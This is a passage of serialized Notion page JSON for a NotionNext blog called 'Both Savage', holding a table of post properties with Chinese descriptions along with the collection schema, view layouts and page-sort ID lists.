daa-b535-9c697e4e4878","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337138,"last_edited_time":1705594337138,"parent_id":"041a3743-f888-4476-b947-fff856745c02","parent_table":"block","alive":true,"copied_from":"2e8f0e15-089f-4daa-b535-9c697e4e4878"}},"08c43877-2376-4822-87e5-a9a62b39c716":{"value":{"id":"08c43877-2376-4822-87e5-a9a62b39c716","type":"bookmark","properties":{"link":[["https://docs.tangly1024.com/zh/features/articleLock"]],"title":[["NotionNext: 基于Next.js 的Notion博客站点生成器"]]},"format":{"bookmark_icon":"https://docs.tangly1024.com/android-icon-192x192.png","bookmark_cover":"https://docs.tangly1024.com/og.png","copied_from_pointer":{"id":"3e4efc73-924d-43ba-ba9f-90c38178467b","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337138,"last_edited_time":1705594337138,"parent_id":"041a3743-f888-4476-b947-fff856745c02","parent_table":"block","alive":true,"copied_from":"3e4efc73-924d-43ba-ba9f-90c38178467b"}},"59d8f4bc-1fab-4205-aaa0-bd7aabf19e1f":{"value":{"id":"59d8f4bc-1fab-4205-aaa0-bd7aabf19e1f","type":"text","format":{"copied_from_pointer":{"id":"bccb3a75-04c9-4fa8-accb-96add746f5ef","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"041a3743-f888-4476-b947-fff856745c02","parent_table":"block","alive":true,"copied_from":"bccb3a75-04c9-4fa8-accb-96add746f5ef"}},"07fbfdea-71f3-4a04-a46e-d30c98197895":{"value":{"id":"07fbfdea-71f3-4a04-a46e-d30c98197895","type":"table_row","properties":{"BYf{":[["属性"]],"GENW":[["必填"]],"Js[p":[["说明"]],"`VuO":[["备注"]]},"format":{"copied_from_pointer":{"id":"75d23e0b-6ea5-4e1f-8530-216b1e4027bb","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337157,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337157,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"75d23e0b-6ea5-4e1f-8530-216b1e4027bb"}},"07124e79-05b6-45ec-acdc-7e829b5fb052":{"value":{"id":"07124e79-05b6-45ec-acdc-7e829b5fb052","type":"table_row","properties":{"BYf{":[["title",[["c"]]]],"GENW":[[" 是"]],"Js[p":[[" 文章标题"]]},"format":{"copied_from_pointer":{"id":"705fd9b7-2b7c-4514-97bb-4bb957a5ec9f","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337157,"last_edited_time":1705594337157,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"705fd9b7-2b7c-4514-97bb-4bb957a5ec9f"}},"c2736488-e788-48ce-99eb-06a320f157a4":{"value":{"id":"c2736488-e788-48ce-99eb-06a320f157a4","type":"table_row","properties":{"BYf{":[["status",[["c"]]]],"GENW":[["是"]],"Js[p":[["发布状态"]],"`VuO":[["(仅当状态为"],["Published",[["c"]]],[" 时会被 展示)"]]},"format":{"copied_from_pointer":{"id":"84904f0b-1d58-4b66-877b-18500b2d4c39","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337157,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337157,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"84904f0b-1d58-4b66-877b-18500b2d4c39"}},"5b8bdfb5-218c-44ea-b202-3212725d5cb1":{"value":{"id":"5b8bdfb5-218c-44ea-b202-3212725d5cb1","type":"table_row","properties":{"BYf{":[["date",[["c"]]]],"GENW":[["是"]],"Js[p":[["发布日期"]],"`VuO":[["2021/11/05"]]},"format":{"copied_from_pointer":{"id":"9c987743-6c91-4586-8096-33d79fa25a23","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337158,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705594337158,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"9c987743-6c91-4586-8096-33d79fa25a23"}},"d058828b-345a-4707-911f-e5e50787f92f":{"value":{"id":"d058828b-345a-4707-911f-e5e50787f92f","type":"table_row","properties":{"BYf{":[["type",[["c"]]]],"GENW":[["是"]],"Js[p":[["页面类型 (博文"],["Post",[["c"]]],[" / 单页("],["Page",[["c"]]],[")"]],"`VuO":[["单页不会在博文列表显示 。"]]},"format":{"copied_from_pointer":{"id":"56f26e4f-6e1e-482e-8455-12d481741542","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337157,"last_edited_time":1705594337157,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"56f26e4f-6e1e-482e-8455-12d481741542"}},"0aea5ed6-6d10-4206-82b8-3ccc61405ac4":{"value":{"id":"0aea5ed6-6d10-4206-82b8-3ccc61405ac4","type":"table_row","properties":{"BYf{":[["summary",[["c"]]]],"GENW":[["否"]],"Js[p":[["内容摘要"]],"`VuO":[["搜索和简略显示会用到"]]},"format":{"copied_from_pointer":{"id":"8cb09fb7-bdfe-4e79-ab39-6c3373fa4a8d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337157,"last_edited_time":1705594337157,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"8cb09fb7-bdfe-4e79-ab39-6c3373fa4a8d"}},"e62533e4-84e2-4e0d-b304-373e3356dda2":{"value":{"id":"e62533e4-84e2-4e0d-b304-373e3356dda2","type":"table_row","properties":{"BYf{":[["category",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章分类"]],"`VuO":[["可以自定义"]]},"format":{"copied_from_pointer":{"id":"e9a63b43-d174-4e92-ab58-48d7acebb7bf","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337158,"last_edited_time":1705594337158,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"e9a63b43-d174-4e92-ab58-48d7acebb7bf"}},"be987026-44c1-4cd9-89c1-9a81441c1eaf":{"value":{"id":"be987026-44c1-4cd9-89c1-9a81441c1eaf","type":"table_row","properties":{"BYf{":[["tags",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章标签"]],"`VuO":[["可多个,建议不要太多"]]},"format":{"copied_from_pointer":{"id":"430bd5a5-7afa-4b2d-ab20-4a1daa7d6727","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337157,"last_edited_time":1705594337157,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"430bd5a5-7afa-4b2d-ab20-4a1daa7d6727"}},"1d362ade-698d-4fdb-a250-09125240acc6":{"value":{"id":"1d362ade-698d-4fdb-a250-09125240acc6","type":"table_row","properties":{"BYf{":[["slug",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章短路径"]],"`VuO":[[" (每篇文章唯一,请勿 重复)"]]},"format":{"copied_from_pointer":{"id":"8fe3d629-3b33-4001-afb7-1221b752f3c8","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337158,"last_edited_time":1705594337158,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"8fe3d629-3b33-4001-afb7-1221b752f3c8"}},"d8e128a1-26f0-46ed-bd03-0ae97c1da2aa":{"value":{"id":"d8e128a1-26f0-46ed-bd03-0ae97c1da2aa","type":"table_row","properties":{"BYf{":[["icon",[["c"]]]],"GENW":[["否"]],"Js[p":[["菜单栏图标(仅当"],["Page",[["c"]]],["类型有效)"]],"`VuO":[["可以参考:"],["图标库地址",[["a","https://fontawesome.com/v5/search"]]]]},"format":{"copied_from_pointer":{"id":"9bbf631a-8b66-4a97-a5d7-ebe36561f113","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337158,"last_edited_time":1705594337158,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"9bbf631a-8b66-4a97-a5d7-ebe36561f113"}},"2bd9a3c8-b377-495f-a97d-1f14f07afb07":{"value":{"id":"2bd9a3c8-b377-495f-a97d-1f14f07afb07","type":"table_row","properties":{"BYf{":[["password",[["c"]]]],"GENW":[["否"]],"Js[p":[["文章加锁"]],"`VuO":[["需要输入密码访问"]]},"format":{"copied_from_pointer":{"id":"af2f7c5d-bdf2-4073-add4-b930fec4e652","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337158,"last_edited_time":1705594337158,"parent_id":"1fd8f1b6-9451-44d8-bc02-dd53ffa5cba9","parent_table":"block","alive":true,"copied_from":"af2f7c5d-bdf2-4073-add4-b930fec4e652"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章